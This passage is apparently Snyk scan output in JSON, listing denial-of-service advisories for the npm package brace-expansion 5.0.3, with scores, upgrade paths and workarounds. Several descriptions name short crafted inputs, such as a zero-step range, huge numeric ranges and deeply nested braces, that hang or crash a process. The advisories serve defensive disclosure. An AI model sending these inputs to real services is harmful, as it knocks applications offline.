"https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102278" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-qhr7-859c-m2p7" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:28:47.469361Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:22Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:28:47.672458Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-09T05:49:37.555149Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244952", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "baeseungwon1010", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.19", ">=2.0.0 <2.1.5", ">=3.0.0 <3.0.7", ">=4.0.0 <5.0.10" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.19", "2.1.5", "3.0.7", "5.0.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options 